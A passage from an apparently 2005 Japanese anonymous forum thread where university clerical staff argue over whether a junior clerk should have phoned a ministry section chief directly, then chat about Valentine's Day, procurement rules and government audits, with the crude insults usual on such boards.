05/02/11 23:00:47
> 「（俺の声を遮って）まず課長に話しなさい，やり直し！」
まず上司に報告汁！ってことだろ。常識じゃねーか。
551:非公開＠個人情報保護のため
05/02/11 23:10:50
自作自演もここまでくると哀（ｒｙ
552:非公開＠個人情報保護のため
05/02/11 23:36:09
格付け間の連絡で言ったら、本書課長が直接ＴＥＬしてきたのがバカなんだろ。
民間なら効率優先だから、こんなことでクビになるわけねーよ。あほども。
553:非公開＠個人情報保護のため
05/02/11 23:55:04
afe
554:非公開＠個人情報保護のため
05/02/12 00:02:32
係員が課長に直接電話したらクビぃ？
そんなんでクビにできるわけ無いだろ
不当解雇の見本みたいな事例じゃねえかｗ
そんな解雇がまかり通るなら
上司の前でクシャミひとつできねえぞバカ
555:非公開＠個人情報保護のため
05/02/12 00:31:58
>>552
あほ「ども」っていうのは間違い。
５２５が一人でレスしてるんだから。
556:非公開＠個人情報保護のため
05/02/12 00:36:54
つーか525ってバカじゃねえの？
ヘコヘコスタイルを他人に押し付けて欲しくないね。
557:非公開＠個人情報保護のため
05/02/12 00:55:42
その本省課長は、大学に爆弾落として反応楽しむのが趣味なんでしょ
俺は偉いんだと言いたいだけじゃないの
558:525
05/02/12 01:13:51
>>556
その通り。君は君の我が道を行きたまえ。
俺は、家庭があるからそうもいかんので。
559:非公開＠個人情報保護のため
05/02/12 01:18:01
５２５が自演を自白したところでFA
ていうか、家庭があるのに終日２ｃｈに張り付いているなんて暇だなｗ
よーし、パパ煽っちゃうぞーとか、もう見てらんないｗ
560:MEXT課長
05/02/12 01:20:12
独法化したからって、相変わらず交付金に頼ってるくせに
生意気なこと言うな。くやしかったら、自分のとこで財源みつけてやってみろよ。
企業に頭下げて、研究費もらったことあるのかよ。
本省の人間とタメ口聞くのはそれからだよ。
561:非公開＠個人情報保護のため
05/02/12 01:20:50
担当が連絡しろ＝同格の担当上司が連絡しろ
これくらい常識だろ・・・・・・
何年社会人やっているのよ
ガキじゃないんだからこれくらい脳内変換しろよ
ヘマした馬鹿担当が上位相手先の格上相手に直接電話すること事態非常識
まずヘマした馬鹿担当の上司の謝罪から始まるだろ
これだから学務は糞だな
562:非公開＠個人情報保護のため
05/02/12 01:25:22
おっと、今度は論点ずらしが始まったぞｗ
毒法化しても大学を影響下に置きたいなら、財務のケツなめてからにしろよ、糞○文ｗ
563:非公開＠個人情報保護のため
05/02/12 01:29:54
今回向こうの本省課長が粘着質じゃないから良かったものの
ネチネチしているキャリア課長によっては局長に電話いくぞｗ
564:非公開＠個人情報保護のため
05/02/12 01:31:52
まあまあ、５２４みたいのを８９人（もうすぐ８７人）相手しなければ
ならない本省様の気持ちも少し考えてあげようよ。
565:非公開＠個人情報保護のため
05/02/12 01:33:00
>>559
ﾜﾛｽ
566:非公開＠個人情報保護のため
05/02/12 01:33:58
まさか総務・会計の人間で>>524の行動が非常識だと思わない奴いないよな？
567:非公開＠個人情報保護のため
05/02/12 01:35:31
＞566
キター、不利になってきたので
今度は、他人に同意を求めてるぞ。
568:非公開＠個人情報保護のため
05/02/12 01:36:05
525=561=563=564ということでよろしいか？(藁
ところで>>524によると、「在外研究員旅費の申請」の件とあるわけだが…
どこが学務なのかと（激藁
569:非公開＠個人情報保護のため
05/02/12 01:36:57
今回>>524がミス犯していることを忘れている奴多いな
570:非公開＠個人情報保護のため
05/02/12 01:38:01
さすが国立大学職員
非常識な人が多いですねｗ
571:非公開＠個人情報保護のため
05/02/12 01:38:20
まずは事情を整理しろ。
１，旅費の申請書関係の書類で
２，当初は本省課長が
３、担当係員宛に連絡をしてきた。
もちろん平が本省課長に連絡するなんてもっての他だろうが、こういう事情があれば
５２４は責められないと思うぞ。
572:非公開＠個人情報保護のため
05/02/12 01:41:20
直接受けたならそうかもしれんが、
掛け直すような場合は
俺なら課長か部長に電話してもらうぞ・・・・・
573:非公開＠個人情報保護のため
05/02/12 01:42:21
>>549
担当が電話しろって言ってるなら担当が電話するのが普通だな。
子供じゃあるまし。
・・・子供だったら、担当が電話しないか。
これだから学務は（Ｗ
574:非公開＠個人情報保護のため
05/02/12 01:47:12
アホなこと言っていないで週明けにでも課長に聞いてみたら？
十中八九、課長自らかけると言うと思うぞ
575:非公開＠個人情報保護のため
05/02/12 01:47:31
仕事の件で当人に直接電話してきたなら、その当人が返事するのがむしろ筋だと思うけどね。
俺は他省の元民間だが（大学とも文科省とも関係がない）、民間で本社の上司が電話してきたとき、
担当部署の上司が返事しなければならないってことはなかったよ。むしろ個人の責任が重視されて
いたから、そういう「部署としての見解」の様な返答は必要なかった。そうやってコンセンサスを
得る時間がもったいないし、一番分かる人間が答えた方が効率も良くて早いに決まっている。
もちろん仕事と関係ないことでいきなり本社の上司に電話をかけたら失礼に決まっているだろう。
でも、仕事上のことで直接やりとりするのは常識がないというより、むしろ普通だと思うよ。
お互い不思議な罵りあいをやっているので、一意見として書き込んでみた。
576:非公開＠個人情報保護のため
05/02/12 01:47:57
>>524
担当者へコトの説明および書類の訂正しろとの・・・
本人は些細というが、課長が事情説明というからには、課長にしてみれば
それなりに重要なことがあったんじぇないか。
577:非公開＠個人情報保護のため
05/02/12 01:51:49
>>575
５７５さんの所では、上司に報告せずに自分の判断で相手の役職者に
電話するんですか？そもそも、上司に報告せずに本省に直接、電話してきたという
のが問題では。
578:非公開＠個人情報保護のため
05/02/12 01:55:26
>>524は運が良かったなｗ キチガイ課長からでなくて
結構前の話、地方大だけど
某感冒快慶から、以前キチガイ課長じゃなくキチガイ係長からうちの「局長」にネチネチ
電話きたことがあったぞｗ
まあ、局長がまともだったのと、全国的に有名なキチガイ係長だったらしいから
直接ヘマした担当へのお咎めはなかったらしいが
579:非公開＠個人情報保護のため
05/02/12 01:58:27
>>575は騙りだろ
なぜこんな時間にタイミングよく他省庁の人間が大学スレに書き込む奴いるのよｗ
580:575
05/02/12 01:59:39
>>577
いや、当初は本省の課長が担当に電話してきたんでしょ。
だったら、当人が返事すべきじゃないのっていう単純なことだよ。
事柄の重大性にもよるんだろうけど、上司に報告する、しないとは別のことだよ。
上司が知らず担当者の方が詳しいことだってあるでしょう？
だったら、詳しい方に話を聞いた方がずっと時間や経費の節約にもなるよってこと。
俺が不思議だなと思うのは、まずどの「形」から入るべきなのか、どの「形」にあてはまるから
非常識なのか、あるいはそうではないのかというところに、お互いの意見が集約されてしまって
いるってことですよ。
581:575
05/02/12 02:16:17
騙りだろ
582:575
05/02/12 02:17:37
＞５８１
わかった。騙りとしか言われないなら、もう退散するよ。
好きなようにやってくれ。
583:575
05/02/12 02:17:38
すいません575です。
たまたま、他のスレ見てたものでカキコしました。
ところで「騙り」ってなんですか？
584:非公開＠個人情報保護のため
05/02/12 02:18:41
>>580
漏れは577じゃないけど、件の本省課長は「形としては」524の上司の顔を
立てたんだろ。そのあとで524の上司をいびったらしいけど。
ある意味常識的な対応だよ。
524が全部自分で済ませたら、524の上司は存在価値ゼロだろ。
585:非公開＠個人情報保護のため
05/02/12 02:20:49
もうなんでもありだな
586:非公開＠個人情報保護のため
05/02/12 02:24:12
なんでもありです
587:非公開＠個人情報保護のため
05/02/12 02:27:26
さすが国立大学法人の職員
ということですな
さあ明日も朝から頑張ろう。。。。。。。
588:非公開＠個人情報保護のため
05/02/12 02:45:24
みなさんおやすみなささい。
589:非公開＠個人情報保護のため
05/02/12 08:33:52
どちらにしても524の課長殿は件の課長様に電話されたわけでしょ？
ウチの課長殿は…そこまであてにはできないだろうなぁ…
事情説明の前に仕事内容の概略から説明しなきゃだめだから、
半日は課長殿への段取りでつぶれそうな気がする…
いざって時に頼りになる上司が欲しい…
590:非公開＠個人情報保護のため
05/02/12 09:19:04
まあ、常識非常識は置いといてさ、
本省課長は直接ヒラから説明を聞きのに抵抗があるのか？
その心境が全くわからん。
下々とは直接口をききたくないって感じなのか。
それとも上司に嫌味の一つでも言うつもりだったのか。
簡単な案件なら細かい事言わずに
ダイレクトに話した方がスムーズだとは思うがな。
591:非公開＠個人情報保護のため
05/02/12 09:33:14
>>535
本省の課長は民間では超一流コンツェルンの部長に相当すると思われ。
>>546
総務・人事・会計：目上の者への対応はうまいが目下の者への対応は最悪
学務：目上の者への対応は最悪が目下の者への対応はうまい
592:非公開＠個人情報保護のため
05/02/12 09:39:58
>>575
＞民間で本社の上司が電話してきたとき、
＞担当部署の上司が返事しなければならないってことはなかったよ。むしろ個人の責任が重視されて
＞いたから、そういう「部署としての見解」の様な返答は必要なかった。そうやってコンセンサスを
＞得る時間がもったいないし、一番分かる人間が答えた方が効率も良くて早いに決まっている。
裏を返せば、「上司の責任逃れ」あるいは「トカゲのしっぽ切り」と取れなくもないけどな
よく銀行の不祥事で「あれは本人の判断です」と言うＤＱＮがいるがあれと同じ臭いを感じる。
593:非公開＠個人情報保護のため
05/02/12 09:48:31
>>592
なんでそこまで捻くれて捉えるのか？
業務上部下のやることについては
重過失とかが無ければ「全て」上司の責任だと思うぞ。
対外的にはな。
>>よく銀行の不祥事で「あれは本人の判断です」と言うＤＱＮ
ってセリフで、上司が責任逃れなんか出来るもんか。
594:非公開＠個人情報保護のため
05/02/12 09:54:19
ばか、そうじゃねーだろ。
「国の機関」と「民間」の違いだろ。
国の機関というのは組織全体としての見解を統一しておかないとならない宿命にある。
それに対し、民間は利潤の追求や効率（コストにかかわる）にとってプラスになるなら
形式に関係なく社内の手続き等の手段は大目に見る。
その違いだよ。
もう、公務員の身分じゃあないんだから効率優先にしていいんじゃないか？
595:非公開＠個人情報保護のため
05/02/12 09:55:28
594は>>592へのレスね。
596:非公開＠個人情報保護のため
05/02/12 10:05:39
国立大はグリーンピアと同じ
597:非公開＠個人情報保護のため
05/02/12 10:20:43
ちょっとした不備で本省課長から担当に電話→本省課長バカ
普通自分のとこの部下に言って、部下から大学に連絡させるだろ。
つうか本省の下々の人間は不備に気が付かなかったのかと。
担当から電話くれと言われてるから担当が本省課長に電話→普通
課長への報告よりもまず先に本省課長への連絡だろ。
担当から電話をくれと言われてる時点で早急に連絡がほしいと予想される。
普通は本省課長から大学の担当に連絡をくれなんて話はありえないから。
それを自分のとこの課長に話して課長から連絡を入れてもらうって・・・・アホか。
マニュアルどうりにしか動けない人間の答えの見本だ。
だから公務員は仕事遅いって言われるんだよ。
大学の課長から謝罪の電話を掛けさせたかっただけなんだろ。本省課長のバカが。
それもちょっとした不備で目くじら立てて電話してくるか普通。
598:非公開＠個人情報保護のため
05/02/12 10:23:10
ホントこのスレみてると公務員の常識を世間の常識と思ってるやつばっかりで恐ろしいわｗ
599:非公開＠個人情報保護のため
05/02/12 10:27:14
いま、文部科学省なんて国民からみれば社保と並んで蔑まれている三流官庁。
本省の課長だろうが局長だろうが、底辺の争いでしかないことは確かだ。
600:非公開＠個人情報保護のため
05/02/12 10:28:23
このスレにいる人間って弾道ミサイルの迎撃も首相の承認がないとダメだって言ってるやつばっかりなんだろうなｗ
601:非公開＠個人情報保護のため
05/02/12 10:30:21
>>591
>本省の課長は民間では超一流コンツェルンの部長に相当すると思われ。
ｹﾞﾗｹﾞﾗｹﾞﾗ
三流官庁の課長にふさわしいのは、不良債権かかえた三流企業のの係長だろｗ
602:非公開＠個人情報保護のため
05/02/12 10:33:36
いや俺ら公務員違うし
603:非公開＠個人情報保護のため
05/02/12 10:33:49
バカ野郎！！文科省より社保庁の方が天才的
604:非公開＠個人情報保護のため
05/02/12 11:40:37
今後俺宛に本省課長から電話がかかってきたらこう返す。
俺「そっちの部下には話したのか？？」
課長「いいえ，些細なことですし，すぐに不備の原因なども分かりましたので・・・・」
俺「（課長の声を遮って）まず部下に話しなさい，やり直し！」
課長「は，はい，分かりました」
605:非公開＠個人情報保護のため
05/02/12 11:43:14
ﾜﾛﾀ
606:非公開＠個人情報保護のため
05/02/12 12:31:02
>>604
ﾜﾛｽｗ
607:非公開＠個人情報保護のため
05/02/12 12:32:24
>>604
つーか普通かかってこないけど。
608:非公開＠個人情報保護のため
05/02/12 12:44:30
コレクトコールでかけなさいｗ
609:非公開＠個人情報保護のため
05/02/12 13:04:23
電話のかけ方云々でココまで伸びるオレ達って哀れ
610:非公開＠個人情報保護のため
05/02/12 13:10:10
体面をやたらに取り繕うことを当たり前にしてきた罪が
こんなに端的に表れるとはよ。
611:非公開＠個人情報保護のため
05/02/12 13:17:25
>>610
まさにそのとおり
612:非公開＠個人情報保護のため
05/02/12 14:45:15
少なくとも、直接係員に電話してきた本省課長は非常識ＤＱＮ
613:非公開＠個人情報保護のため
05/02/12 17:22:37
age
614:非公開＠個人情報保護のため
05/02/12 19:34:44
何か524の話はネタっぽいが，普通本省の課長から直接電話あるか？
大抵は係長か主任だろ。
ネタでないとしても，本省の課長に電話する前に直属の上司に報告
するべきじゃないかな。上司に報告は最低限のルール。
それでもって報告の後，「私から電話してもよろしいですか？」と
聞くべきだと思う。
>「そっちの課長には話したのか？？」
と本省の課長が言ったのは，上司に報告（確認取った）のか？と言う
意味だろ。それを
>「いいえ，担当へのご連絡でしたし，すぐに不備の原因なども分かりましたので・・・・」
なんて言ったら普通は怒るぞ。責任者（大学の課長）の了解も取ら
ないで担当者とはいえ係員が回答。今回はちょっとした不備かも知
れないが，そのやり方が当たり前だと思うなら非常識。
それにしても事の発端は524の書類不備なのでおまえが一番悪い。
615:非公開＠個人情報保護のため
05/02/12 19:39:47
あげ
616:非公開＠個人情報保護のため
05/02/12 19:40:00
てかさ、件の本省課長の電話を取った奴、そいつのとらえ方と
524への伝え方がまずかっただけなんじゃねーの。
本省課長は本当に、「（ヒラの）担当者からの電話が欲しい」って
言ったのか？
普通に考えると言うわきゃない。
そもそも本省課長は大学の担当部課長に話を聞きたかったが、
その夜は不在だったからしょうがなく担当者レベルまで下りて
きただけなんじゃないのか。
まぁ、
>544
ってことだな。
617:非公開＠個人情報保護のため
05/02/12 20:12:23
某省の審議官から直接、電話が来ますがなにか。
618:非公開＠個人情報保護のため
05/02/12 20:14:46
文教族の○○先生本人から、よく電話がかかってきますがなにか。
619:非公開＠個人情報保護のため
05/02/12 20:35:04
>617
>618
ﾂﾏﾗﾈ
620:非公開＠個人情報保護のため
05/02/12 20:52:08
>604
本当にやったら６０４の運命はどうなるかな？
621:非公開＠個人情報保護のため
05/02/12 20:58:45
・ 向こうの課長からは、こっちの担当（ヒラ）への連絡だった。
>>524 > 何故か花鳥様からこっちの担当者へ
>>524 > 「いいえ，担当へのご連絡でしたし
向こうの課長が、こちらの課長から連絡をくれるべき案件だ、と
判断したならば、担当へ連絡してくること自体おかしい。
担当へ連絡してきたということは、より詳しい話を聞きたい、
もしくは迅速な状況説明を求めている、ということが考えられ、
担当者が己の判断で連絡をしたとしても責められるべきではない。
上司への報告は必要ではあるが、軽微な不備のようなので、
事後報告であっても問題はなさそうだ。
何でも上司へ報告すればよいというものではない。
軽微な不備である場合、責任問題に発展するようなことは
考えにくく、であれば、責任者が最初に出張らなければならない
合理的な理由はない。
しかしそれ以前の問題として、向こうの課長は
>>524 > 「（俺の声を遮って）まず課長に話しなさい
と言っており、係長に話しなさい、とは言っていない。
もしくは、（役職を限定せず）上司に話しなさい、とも言っていない。
課長のみに限定している。
にもかかわらず連絡は担当者へであった。この時点で、
向こうの課長のやりたいことは本人以外には不明瞭となる。
不明瞭な問い合わせをすれば、期待しない返答が来ることは
容易に予想され、にもかかわらず課長に話しなさいと声高に言い、
しかもその後は横柄な物言い。
以上の点から、とにかく課の問題にしてやりたい、文句をつけてやりたい
という意思が見える、悪意の電話であったと見るべきだろう。
無論、俺たちは当事者ではないので、本当はもっといろんな事象が
あったのかもしれないが、書き込みから言えることはこれぐらい。
なお、公務員のバカタレな慣習や常識は考慮していない。
622:非公開＠個人情報保護のため
05/02/12 20:59:30
どうにもならんだろ。もう大学は○文の下部組織じゃないんだから。
まあ、６０４の上司が○文課長なら、島流しの刑にあうことはあるかも。
それでも昔ほど、キャリアといえど人事介入はできんからな。
要するに、○文にいやがらせをするにはもってこいという訳ですなｗ
623:非公開＠個人情報保護のため
05/02/12 21:00:20
６２２は６２０への返答な
624:非公開＠個人情報保護のため
05/02/12 21:04:00
ていうか、過去の口頭曲規格下の歴代課長を洗えば、自ずと名前もさらせるんじゃないか？
時代も文部省時代ということで。
625:非公開＠個人情報保護のため
05/02/12 21:11:36
一番イタイのは大学や○文しか知らないくせに、自分たちの常識をさも民間の常識の如く
語る香具師だな。
まるで童貞が加藤鷹にセックスを語る様なもんだ（ｹﾞﾗ
626:非公開＠個人情報保護のため
05/02/12 21:19:27
>>624
おいおい冗談はよせ。
５２４がどうなってもいいのかよ。
627:非公開＠個人情報保護のため
05/02/12 21:22:11
↑頭の悪そうなレスですね
628:非公開＠個人情報保護のため
05/02/12 21:23:48
>>626
真面目な話、どうなるんだよ？
629:非公開＠個人情報保護のため
05/02/12 21:24:49
月曜日に局内で524と課長の割り出しがおこなわれるに
１００００メキスト
630:非公開＠個人情報保護のため
05/02/12 21:26:27
＞６２５
笑ってしまった
631:非公開＠個人情報保護のため
05/02/12 22:00:37
age
632:非公開＠個人情報保護のため
05/02/12 22:38:46
>>620
学務の閑職に飛ばされて新人以下の仕事しかさせて貰えないと思われ。
万年３級係員ｹﾃｰｲ
633:非公開＠個人情報保護のため
05/02/12 22:40:00
と、負け犬三流官庁の役人が申しております。
634:非公開＠個人情報保護のため
05/02/12 23:03:52
６０４が本当にそうしたらどうなるか・・
にマジレスしてるようなやつは年齢＝童貞歴のキモヲタ。
笑いのセンスも出世の可能性も全くなし。
635:非公開＠個人情報保護のため
05/02/12 23:27:47
>>634
いきなりなんだお前ｗ
根拠がないぞ
636:非公開＠個人情報保護のため
05/02/12 23:29:40
つかあまり面白くないし・・・・・
>>634の笑いのセンスってどうなってるんだ？ｗ
637:非公開＠個人情報保護のため
05/02/12 23:33:18
童貞が必死ｗ
638:非公開＠個人情報保護のため
05/02/12 23:42:26
と、童貞が申しております。
639:非公開＠個人情報保護のため
05/02/12 23:43:52
age
640:非公開＠個人情報保護のため
05/02/12 23:53:53
>>632-638
ﾂﾏﾝﾈ
641:非公開＠個人情報保護のため
05/02/13 11:36:18
そろそろ話題変えない？
642:非公開＠個人情報保護のため
05/02/13 11:44:46
>621
いやだからさ、本当にヒラ担当宛ての電話だったかわからないだろ？
部課長でもない、係長でもない、524でもない、第三者が電話取ってるんだから。
524だってその第三者から間接的に話聞いただけなんだろ？
書込みだけで判断しても、ヒラ担当者から直接電話よこせなんて、相手は一言も
言ってないんだろ？その部分は何も書いてないじゃないか。
公務員のバカタレな慣習がどうのって話じゃないんじゃないの。
643:642
05/02/13 11:46:28
>641
う、タイミング悪い・・・。
すまん。もう書かない。
644:非公開＠個人情報保護のため
05/02/13 12:57:22
>>642
お前って数学で証明問題とかできないタイプだったか？
所与の条件覆しちゃったら何も話が成立しなくなるじゃん。
645:非公開＠個人情報保護のため
05/02/13 13:14:16
たぶん最初の電話は課長宛だろうな
646:非公開＠個人情報保護のため
05/02/13 13:16:36
おっ。蒸し返しか。蒸し返すからにはエンターテイメントを頼むよ。
647:非公開＠個人情報保護のため
05/02/13 13:17:10
286 非公開＠個人情報保護のため New! 05/02/13 13:04:40
>>279 そりゃ、まず本省の課長からそんな話があったと自分ところの課長叩き起こ
してでも一報伝えるのが常識ですよ。Ｋ局企画課長といったら中堅どころの国立大学
事務局長に匹敵するようなポストなんだから。
その企画課長が直々に連絡したってのは、大学の担当部長もいない、担当課長ならいる
かもと思ったから。大学の方は単なる事実伝えりゃいいってもんじゃないんだよ。
大学の責任ある地位についている者の当該問題に対する対応策、考え方も知りたい、
むしろその方が重要なんだから。
648:非公開＠個人情報保護のため
05/02/13 13:24:52
うちの課長は、揉めそうな電話がかかってきたら
はぐれメタル並の速さでタバコを吸いに行かれます。
649:非公開＠個人情報保護のため
05/02/13 13:30:43
>>647
必死のコピペ乙。
650:非公開＠個人情報保護のため
05/02/13 13:40:10
>>648
どこもそうなんだなｗ
誰かが怒鳴り込んで来てたら、部屋に戻らずにどっか行くｗ
651:非公開＠個人情報保護のため
05/02/13 14:41:04
KRも大学を狙ってきているのか
URLﾘﾝｸ(www.nikkei.co.jp)
652:非公開＠個人情報保護のため
05/02/13 19:51:18
大学は各省庁の天下りの温床になるんだろうな。
文科が影響力を強めるために人身御供として差し出してるようなもんだ。
マジでやってられねえ。
653:非公開＠個人情報保護のため
05/02/13 21:55:31
藻前ら明日はバレンタインだぞ！！
誰かくれるかな。
654:非公開＠個人情報保護のため
05/02/13 21:56:29
そんな女が大学にいるか？
655:非公開＠個人情報保護のため
05/02/13 22:04:56
ヤクルトおば・・もとい、おねいたん
656:未公開＠個人情報保護のため
05/02/13 22:34:54
>653
やくると、ほけんや、せいきょう、ひびこ、ぎんこう
これだけでも義理5つだ。
657:非公開＠個人情報保護のため
05/02/13 22:44:13
お返しがﾏﾝﾄﾞｸｾなので義理ならいらない。
658:非公開＠個人情報保護のため
05/02/13 22:48:45
明日本命もらったらここに報告するように。
義理でも報告するように。
659:非公開＠個人情報保護のため
05/02/13 23:31:51
生まれてこのかた、
チョコをくれたのはお袋と妹と保険屋のみ orz
もういいんだ。来世に期待するんだ・・・
660:非公開＠個人情報保護のため
05/02/13 23:45:15
>>524
本省課長に日本テレコム代理店からのラブコールが届くようし向けて
電話応対の練習をさせるソリューション
661:非公開＠個人情報保護のため
05/02/14 08:34:29
age
662:未公開＠個人情報保護のため
05/02/14 22:16:48
>659
義理チョコを数に入れはじめたら注意信号。
チョコの粒数でカウントを始めたら危険信号。
翌日になってバレンタインだと気付いたら行き止まり。
663:非公開＠個人情報保護のため
05/02/14 22:44:50
今日、嫁さんからチョコをもらいました。
これが一番の義理チョコでは.....
664:非公開＠個人情報保護のため
05/02/14 22:54:41
age
665:非公開＠個人情報保護のため
05/02/15 00:13:12
もまいら、例の本省課長の名前は分かりましたかｗ
666:非公開＠個人情報保護のため
05/02/15 03:25:20
>>665 それが分かるとここに書き込みされた職員の方も詰んでしまうのでは・・・
667:非公開＠個人情報保護のため
05/02/15 07:06:35
「今の部長は不適任です。さっさと出身地に返してください」
て言いたいときはどこに伝えれば良いものか
丸文、は表向き違うだろうし
ブロックの中心的大学の仁慈？
668:非公開＠個人情報保護のため
05/02/15 07:10:51
>667
本人に直接。
669:非公開＠個人情報保護のため
05/02/15 07:49:42
「剣道の朝鮮起源は誰も否認できない歴史的事実」Ⅱ
ｽﾚﾘﾝｸ(asia板)l50
670:非公開＠個人情報保護のため
05/02/15 11:23:29
部長に限らず管理職でダメな人いるよね。
そんな人に限って引き取り手がないのか長期で居座る。
671:非公開＠個人情報保護のため
05/02/15 11:59:02
age
672:非公開＠個人情報保護のため
05/02/15 20:03:29
山形大で留学生課長を公募ってなかなかやるじゃん，
と思うがどうなんよ。
673:非公開＠個人情報保護のため
05/02/15 20:06:46
酵母ブームだな
674:非公開＠個人情報保護のため
05/02/15 22:42:49
あげ
675:非公開＠個人情報保護のため
05/02/16 00:00:13
文科省より誰より、教員が一番偉い。
権限持たせすぎだよ・・・。
ﾅﾝﾄｶに刃物状態だ・・・。
676:未公開＠個人情報保護のため
05/02/16 00:36:09
>675
飼い主がきちんと躾ければ問題ない。
677:非公開＠個人情報保護のため
05/02/16 08:32:27
age
678:非公開＠個人情報保護のため
05/02/16 09:18:53
しゃーねーだろ。
周りのヤツも取り上げようとしないで，
ひたすら刺激しないよう土下座しているだけなんだから。
679:非公開＠個人情報保護のため
05/02/16 14:45:06
ていうか、課長も補佐も仕事しねーからいらね。
生ゴミの日にでも捨てたい。
680:非公開＠個人情報保護のため
05/02/16 18:41:44
age
681:非公開＠個人情報保護のため
05/02/16 18:46:02
要するに昔は「小遣いさん。」っていってたやつだろ。
682:非公開＠個人情報保護のため
05/02/16 21:52:38
あげ
683:非公開＠個人情報保護のため
05/02/16 23:46:07
>>679
仕事を作り出す課長と補佐も(ﾟ⊿ﾟ)ｲﾗﾈ
まずは業務の削減と簡素化だろうが！！
684:非公開＠個人情報保護のため
05/02/17 05:10:33
>生ゴミの日にでも捨てたい。
生ゴミではなく不用品でだそう
685:非公開＠個人情報保護のため
05/02/17 08:04:05
>>681
ソレは今の技術職員でしょ
686:非公開＠個人情報保護のため
05/02/17 13:02:40
age
687:学生
05/02/17 19:53:35
２ﾁｬﾝﾈﾗ事務員は粗大ゴミの日に捨てろよw
688:非公開＠個人情報保護のため
05/02/17 20:27:02
>>687
ゴミ収集業者も回収していかない罠
689:非公開＠個人情報保護のため
05/02/17 21:12:37
見たところ事務方ばかりですが研究室事務もここでいいですか？
今年度から始めた１年生事務ですが大学のやり方に正直ついていけない。
上司にあたる教員は財源集めのプロジェクトを抱えるあまり
どれも適当になっちゃってるし。
何より物品発注業務の理不尽さは何なんだと思う。
早く税務署の監査が入って潰れてしまえと考える旧帝大勤務。
ベンチャーに就職したつもりが大学だったなんて…。
690:非公開＠個人情報保護のため
05/02/17 21:42:36
>>689
会計検査院にチクレ
国鉄で検査院を怒らせたらしいが、
奴らは団体様でリベンジにやってきたそうな･･･
１００人も来た日には･･･
ちょっと刺激的かも♪
691:非公開＠個人情報保護のため
05/02/17 23:01:00
>>689
物品発注業務の理不尽さ
詳しく
692:非公開＠個人情報保護のため
05/02/18 00:13:10
>>689
漏れとこの場合、罪刑は法人会計基準に沿った
情報開示を行うためだけに導入されたようなもんで、
本来目的とすべき物品調達の合理化には全く寄与していないからなぁ
教員は外部資金獲得に奔走しているが、
成果と使途の説明責任はきちんと果たせるのかね・・・
693:非公開＠個人情報保護のため
05/02/18 00:18:53
まぁ教員も面白い生き物で、資金獲得・研究・教育が忙しいだろうし
それに注力したいでしょ？ってことで、事務側が経営権強めて
教員が大学経営を考えなくてもいいようにしようって言うとなぜか怒る。
そらまあこっちがやる経営ってのも稚拙かもしれんがよ。
事務が経営に口出そうとすると
「大学が商業主義になる」
とか何とか言い出す。
694:非公開＠個人情報保護のため
05/02/18 00:26:04
もちつき大会とかやる？
695:非公開＠個人情報保護のため
05/02/18 00:48:23
>690
検査院に情報リークしても、大学のプラスには決してならんぞ。
検査院が喜ぶネタを、ここで提供するのはやめとけ。
教員事務管理職から下っ端に至るまで、全て被害を被る。
検査院の指摘にあがろうもんなら・・・
教員は規制が増えて自由度なくなる。管理職は評価が下がる。
下っ端は対検査院への無駄な資料作りで半年間平均３時間は
帰宅時間が遅れる。
最悪だぞ。
そして次年度以降のフォローアップ。
大学は法人化しても、検査院は国の機関だから、アホみたいに
無駄な作業を要求してくるぞ。そして大学はそれに従わなければ
ならない。
検査院を喜ばせることは、自分が不幸になること。
ゆめゆめ忘れるなかれ・・・。
学内で、自分たちの手で改革すりゃいいんだよ。
696:非公開＠個人情報保護のため
05/02/18 00:50:30
だって外部の人に強圧的にでも叩かれないと誰も目が醒めないからさー
697:非公開＠個人情報保護のため
05/02/18 01:15:08
>>692
どこでもそんなもんでしょ
罪刑のおかげで不便になったという話は聞いても合理化したという話は聞かない
>>695
リークして退職、公務員再受験。
検査院に入り込んで大学に乗り込めばこれ最強
698:非公開＠個人情報保護のため
05/02/18 07:23:10
>696
真に役立つ指摘を、検査院がするわけない。
そんな都合良く動いてくれないよ。
期待してるとバカ見るよん。
見当違いの結果になって、泣きをみるのは自分だよ。
699:非公開＠個人情報保護のため
05/02/18 07:49:04
>>697
罪刑システムのおかげで、残業が増えました。
700:非公開＠個人情報保護のため
05/02/18 08:09:02
age
701:非公開＠個人情報保護のため
05/02/18 08:12:28
689> ベンチャーに就職したつもりが大学だったなんて…。
ﾜﾛﾀ
702:非公開＠個人情報保護のため
05/02/18 12:08:34
>>701
Sﾃｨｱはﾄﾝﾍﾟｰのベンチャーだっけ？
703:非公開＠個人情報保護のため
05/02/18 15:27:41
>>693
月一会議で経営しようってのがおそろしや。
しかも，委員の先生方のほとんど嫌々でやる気ないのに。
704:689
05/02/18 16:19:52
物品購入の理不尽さ（というか違法？）は皆さんの熟知している通りだと思います。
しかし一般企業でこんなことやったらかなり厳しくあたられるのに
業者もグルだから（嫌々だと思うが）何も言えなくなってるんでしょうね。
私はあまりにも低学歴、無資格だから取りあえず職を探してたんだが
とある事務職に応募して履歴書で落とされてその後履歴書が回り回って
ベンチャーにたどり着いたんだが
ベンチャーの代表が教員→事務関係もほとんど大学用。
＋ベンチャーの経理、庶務全般とかもあるんだけど
この会社のシステムそのものに疑問を感じます。
上司はいつも「大学の事務が出来ればどこでも通用する」とか言ってるけど
ここの常識は世間の非常識だって認識しかないよ。
まぁ、日本人じゃないんだけどね、上司。
自分語りｽﾏｿ。ストレスが溜まる。
705:非公開＠個人情報保護のため
05/02/18 18:11:50
事務職万歳！メンヘル最高！
706:非公開＠個人情報保護のため
05/02/18 18:59:11
>>698
でも外部要因がないと何変わらない体質になってるからな。
検査院に指摘された事項を間違った方向に解決してさらにおかしくなっていくだろうけどｗ
古い体質の人って体裁にこだわった解決しかしないから根本的なところは絶対解決しようとしないし。
707:非公開＠個人情報保護のため
05/02/18 19:51:04
>>704
>上司はいつも「大学の事務が出来ればどこでも通用する」とか言ってるけど
>ここの常識は世間の非常識だって認識しかないよ
激しく同意
「大学の事務が出来ても民間では使えない」
「大学の事務が出来ても他の公務員では使えない」
708:非公開＠個人情報保護のため
05/02/18 19:55:43
ええとつまり689は研究室のジムもやらされてる
大学発ベンチャーの職員ということですか？
709:非公開＠個人情報保護のため
05/02/18 20:55:22
age
710:非公開＠個人情報保護のため
05/02/19 00:42:08
>>704
> 物品購入の理不尽さ（というか違法？）は皆さんの熟知している通りだと思います。
熟知してないので、もう少し具体的に教えてください。
711:非公開＠個人情報保護のため
05/02/19 01:22:30
だって科研費なんて（以下
712:非公開＠個人情報保護のため
05/02/19 02:54:42
>>711
(´(･)｀)大は例の事件の後だったから科研費でねちねちとやられたらしいな。
713:非公開＠個人情報保護のため
05/02/19 03:06:57
